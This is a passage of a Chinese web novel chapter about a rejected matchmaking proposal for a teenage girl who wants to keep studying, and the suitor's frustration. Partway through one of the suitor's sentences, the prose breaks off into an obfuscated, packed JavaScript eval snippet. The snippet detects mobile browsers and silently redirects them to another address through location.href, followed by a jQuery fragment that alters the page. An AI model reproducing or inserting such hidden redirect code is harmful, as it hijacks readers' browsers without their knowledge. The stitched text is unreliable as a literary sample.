孰料福婶儿并没有生气,反而笑着继续说,“不过,这赵老师倒是真心为你好的,他觉得你很聪明,不仅能考上县中,以后也能考上大学,不继续上学太可惜了。” 前天她丈夫张继武回来,还讨论了这事儿,不过之前她并没说郑家相中的是谁,没想到丈夫一听到说是豆蔻,立马把她说了一顿,说她思想老化,不跟形势,而且乱点鸳鸯谱。 国家重新恢复高考时间还不长,青山镇只有初中,虽然这几年往县中输送了一些学生,但这些学生要么还没高中毕业,要么毕业了但没考上,要么考上了,但考上的也不是太好的大学,就是大专。 青山镇考上的,统共也就那么两个,现在都在区市读师专。 镇上的人,现在还普遍认识不到上学的重要以及带来的好处。 但张继武知道啊,他们县供电所今年刚分来一个大学生,人家一来就是高级干部,工资不比他少几块,所里的领导都重视的不行,人家大学生也的确有两下子,机器出了故障一下就知道哪里出了问题。 你不服都不行。 林豆蔻说,“婶子,说实话,我从来也没想过订婚的事儿,我还是想上学的。” 福婶儿把鞋子递给她,“行了,这事儿就过去了,不提了,我过两天去一趟县上郑家,亲自把这事儿给回了。” “你快试试这鞋子合不合脚。” 供电所的宿舍,每家每户都是紧紧挨着的,房子只有两间,院子也是巴掌大的一块儿,福婶儿每次来了顶多也就住两天,住到第三天,就觉得憋屈得不行了。 而且要啥没啥,想干个活儿一点儿都不顺手。 当天她就去了郑家。 郑家住的地方略大一点儿,房子共有三间,小院子里又搭了一间,不过这样一来院子就更少了。 郑海峰的母亲徐玉芝倒是很客气,见她来了,给她倒茶端点心,听说豆蔻不同意,倒也没有任何失落。 福婶儿专门往县里跑了一趟,可不是只为了这个,她是个媒人,自然喜欢做媒了,郑海峰也老大不小了,都二十多了,的确早该订婚了,和豆蔻没缘分,说不定和其他人能有缘分,若是经她牵线成了也是美事儿一桩。 不过她得问问郑家父母如何想的,有什么具体的要求,这样她才好物色人选。 谁知她一连递了两次话,徐玉芝都不接,但态度还是很热情,跟她聊了些别的,临走,还非装了半网兜桃子让她带上了。 从郑家出来,福婶儿已经品出味儿来了,托她说媒的是郑海峰的姑姑,当时别提多急了,但现在看来,郑海峰的父母倒没那么着急。 这事儿,十有八成是郑海峰自己看上了豆蔻。 想想也是,就凭郑家这条件,县上就有很多漂亮姑娘可以挑,压根儿也没必要非去镇上找。 福婶儿并不是一个大嘴巴的人,郑家这事儿她没往外说,但也不知道咋回事儿,很快大半个镇上的人都知道了。 这天她刚从地里回到家,有个叫刘秀英的妇女来跟她借鞋样子,两人顺便聊了几句,“福巧,县上的好人家相中了豆蔻,她都不同意?” 福婶儿皱眉,“你听谁说的?” 刘秀英笑了,“还用听谁说,都知道了呀,昨儿二老奶奶还跟我说起这事儿呢,说豆蔻这丫头命硬,但也福薄,这么好的事儿还不赶紧的答应了,错过这个村,哪还有这个店!” 既然都知道了,那林巧红的母亲三大娘也知道了,她不像别人只是闲着说几句嘴,而是忽然起了一个别的心思。 既然郑家能看上豆蔻,那就说明他家想在镇上找一个儿媳妇,豆蔻不说别的,也太小了,她家巧红可不正合适! 三大娘是个行动力特别强的人,农活也不干了,把药桶子一扔,急匆匆地回到家,洗了头,换了一身儿体面的衣裳,拎着两包点心就去找郑爱华了。 郑爱华就是郑海峰的姑姑,郑所长一家搬到县上了,郑爱华还在镇上住着呢,她在粮站工作,也就两季收粮的时候忙,平时闲得很,最喜欢说些东家长西家短的闲话。 三大娘陪着她说了半天,才把话题引到郑海峰身上,说,“豆蔻那孩子从小就性子孤拐,按说她父母都没了,咋就不跟着哥嫂过呢,偏要分出来单过,一门心思地要上学,县中是那么好上的,你家大侄子看上她,那是烧了八辈子高香了,她真是人小糊涂!” 其实郑爱华也没咋看上林豆蔻,那姑娘也就模样还行,家里条件是真不行,而且才十五,嫩芽一个,也太小了点儿。 “谁说不是呢,要不是海峰缠着我提了好几回,我才懒得管这事儿呢,张罗了这半天,我哥我嫂子也不承我的情,人家一门心思想找个县上的儿媳妇呢,还想找家里条件也差不多的。” 三大娘心里咯噔一下,不过还没死心,说,“咱镇上的姑娘有什么不好的,不比县上的差,你哥你嫂子原先不也在镇上吗?” 郑爱华撇了撇嘴,“就是,才搬到县里就看不上镇上的姑娘了。” 三大娘又问,“最近怎么没见郑所长回来,你那大侄子也没回来?” 郑海华只是舌头有些长,但并不傻,她转了转眼珠,“你找我有啥事儿?你家巧红该说亲了,订下人家没有?” 三大娘被戳破心事也不尴尬,反而乐呵呵的说,“还没有呢,一家女百家求,我不急,俺们巧红长得好,又是初中毕业,手也巧,光是绣花一个月就能挣二三十,去了谁家,谁家是捡到了摇钱树,我倒愿意多留她两年呢。” 郑海华一听来了精神,“绣花能挣那么多?” 三大娘头一点,得意的说,“那可不,只是她能干,眼光也高,非要找下一个县里的对象,这不,前一阵子她表姑给她介绍了一个县医院的大夫,大夫多好啊,她嫌弃人家长得矮,说不嫁矬子,真是气死人了!” 郑爱华笑笑,“那你闺女眼光是够高的,的确不能急,慢慢找吧。” 隔了两日,三大娘拎着一捆新鲜的韭菜又上门了,也是巧了,正好就碰到了郑海峰,其实三大娘认识他,毕竟原来都一个镇上住着。 但最近两年没见,小伙子跟以前不一样了,足有一米八高,五官英气端正,穿着工商局的制服,看起来可真有气派。 这样的人,才配当她的女婿啊。 郑海峰也觉得三大娘面熟,要是平时,他也会礼貌的笑笑,或者打个招呼,但他今天真的笑不出来。 本来他以为,就凭他的条件,豆蔻一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16983991|193591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准儿能同意,谁知等来等去,等了这都一个月了,他都问了姑姑好几次了,一直也没有给个说法,他也正想等这周休班,再来镇上问问,没想到他妈忽然说了,说人家姑娘没看上他。 因此,他下了班就急急地赶来了。 他坐在椅子上,不笑也不说话,等三大娘一走,他立即就问,“姑,豆蔻不同意?” 郑爱华见侄子一脑子的汗,摇了摇头,“对呀,人家不同意,你就歇了这份心吧。” 郑海峰再老实也急了,不甘心的说,“我去问问她。” 其实他早就想去找林豆蔻了,顺便再给她送点吃的和用的东西,但一来他们之前又不熟,也没什么亲戚关系,这么做有点儿太冒失了,二来他上班也忙,平时上班,周末也总有事情,拖来拖去就等到了现在。 本来他打算的是,等订婚了就名正言顺了,到时他就能大大方方地去找她了,不仅送吃的用的,还会问问她,还有没有别的方面的困难。 郑海峰别看现在长得高大帅气,其实他从小就憨,长大了也还是这么一副憨脾气,干工作倒也还行,没出过什么漏子,但在个人问题上,他相了好多姑娘都相不中,去年七月里,他骑着车子去集上买西瓜,看到有一个又甜又脆的嗓子在吆喝汽水冰棍,本来没打算买,不知为啥就去买了。 然后就一眼看上了穿着补丁衣服的林豆蔻。 他本以为,自己的条件这么好,这是十拿九稳的事儿呢。 郑爱华拦住他,“你去干啥?现在好多人都知道她没看上你了,你还去,这不是让人家笑话吗?” 郑海峰的脸一下子涨的通红。 郑爱华又说,“那丫头学习好,人家要继续上学,强扭的瓜不甜,你就别想了,姑再给你介绍一个好姑娘。” 郑海峰根本听不讲去,“我没看上别人,就看上她了。” 郑爱华也没耐心了,“你看上人家有啥用,人家没看上你,别犯犟了,今儿姑也不留你了,赶紧的回家吧!” 郑海峰就这样被撵出了门,他到底不甘心,骑着车子去了镇西头,他在镇上也住了十几年,之前虽然跟林豆蔻并不熟,但也大概知道她家住哪儿,问了人之后,他又激动又高兴地找过去,没想到吃了个闭门羹,大门上了锁,很嫌显然没人在家。 怎么就那么不巧。 郑海峰垂头丧气地骑着车子往回走,刚走到镇子东口,没想到有人叫他的名字,他停下了车子,但并不认识眼前这个年轻姑娘。 林巧红是被她妈硬逼着来的,她从来没干过这事儿,心里打着鼓,又觉得有点丢脸,两颊都是红的,“你是郑海峰吧?” 郑海峰点了点头,“你是谁,你找我有事儿?” 林巧红觉得,她妈让她说的那些话太羞人了,根本说不出口,她咬了咬嘴唇,说,“我是豆蔻的堂姐,你是来找豆蔻的吧?” 郑海峰一下子又精神了,“你知道她去哪了?” 林巧红说,“今天早上她舅把她和她妹妹接走了。” 郑海峰追问,“你知道她什么时候回来吗?” 林巧红低下头,心虚的说,“你俩说过亲,还没成,你最好别去找她,这样对她影响不好,你要是有什么话,你跟我说,我转告给她。” 郑海峰觉得是个不错的办法。 林巧红说了那么多假话,倒也有一句是真的,那就是豆蔻和木香的确被舅舅接走了,黄爱芬只有一个弟弟黄胜利,黄胜利这人和赵振铎老师一样,特别不喜欢干农活,但人家赵老师有工资,黄胜利就是瞎混,跟着别人倒卖东西,每次回来都是在外面如何挣钱,但也没见他发财。 林豆蔻刚和大哥分家那会儿,去过一次舅舅家,舅舅不在家,舅妈实在没啥东西给她,给了半袋子地瓜。 黄胜利在外面晃荡了一年多,这次回来,好像是真发财了。